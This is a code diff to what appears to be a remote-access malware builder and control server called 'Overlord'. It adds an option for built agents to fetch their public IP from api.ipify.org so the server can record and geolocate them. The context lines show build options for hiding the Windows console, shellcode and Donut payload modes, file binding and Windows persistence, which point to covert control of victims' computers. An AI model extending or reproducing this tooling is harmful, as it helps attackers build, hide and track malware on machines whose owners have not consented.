optional public IP fetching

Overlord-Server/src/protocol.ts

@@ -31,6 +31,7 @@ export type Hello = {
   country?: string;
   publicKey?: string;
   signature?: string;
+  publicIP?: string;
 };
 
 export type EnrollmentChallenge = {

Overlord-Server/src/server/build-process.ts

@@ -113,6 +113,7 @@ type BuildProcessConfig = {
   solAddress?: string;
   solRpcEndpoints?: string;
   iosBundleId?: string;
+  fetchPublicIP?: boolean;
 };
 
 
@@ -831,6 +832,12 @@ func runBoundFiles() {
         sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" });
       }
 
+      if (config.fetchPublicIP) {
+        const publicIPFlag = "-X overlord-client/cmd/agent/config.DefaultFetchPublicIP=true";
+        ldflags = ldflags ? `${ldflags} ${publicIPFlag}` : publicIPFlag;
+        sendToStream({ type: "output", text: "Public IP lookup enabled (api.ipify.org)\n", level: "info" });
+      }
+
       if (config.hideConsole && os === "windows") {
         const hideConsoleFlag = "-H=windowsgui";
         ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
@@ -926,6 +933,7 @@ func runBoundFiles() {
         if (hasBoundFiles) baseTags.push("hasbinder");
         if (isIosTarget) baseTags.push("ios_target");
         if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
+        if (config.fetchPublicIP) baseTags.push("fetch_public_ip");
 
         // Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
         const winPersistTags: string[] = [];

Overlord-Server/src/server/routes/build-routes.ts

@@ -115,6 +115,7 @@ export async function handleBuildRoutes(
         useDonut,
         useLinuxShellcode,
         shellcodeConsole,
+        fetchPublicIP,
       } = body;
 
       if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -386,6 +387,7 @@ export async function handleBuildRoutes(
         useDonut: !!useDonut,
         useLinuxShellcode: !!useLinuxShellcode,
         shellcodeConsole: !!shellcodeConsole,
+        fetchPublicIP: !!fetchPublicIP,
       }).finally(() => {
         if (rateLimitActive) recordBuildEnd(user.userId);
       });

Overlord-Server/src/wsHandlers.ts

@@ -110,6 +110,10 @@ export async function handleHello(
   if (ip) {
     info.ip = ip;
   }
+  const reportedPublicIP = sanitizeInfoString((payload as any).publicIP, 64);
+  if (reportedPublicIP && /^[0-9a-fA-F:.]{3,45}$/.test(reportedPublicIP)) {
+    info.ip = reportedPublicIP;
+  }
   info.hwid = sanitizeInfoString((payload as any).hwid);
   info.host = sanitizeInfoString(payload.host);
   info.os = sanitizeInfoString(payload.os);
@@ -139,7 +143,7 @@ export async function handleHello(
   info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu;
   info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram;
   const geoip = await getGeoip();
-  const geo = ip ? geoip.lookup(ip) : undefined;
+  const geo = info.ip ? geoip.lookup(info.ip) : undefined;
   const countryRaw =
     geo?.country || (payload as any).country || info.country || "ZZ";
   const country = /^[A-Z]{2}$/i.test(countryRaw)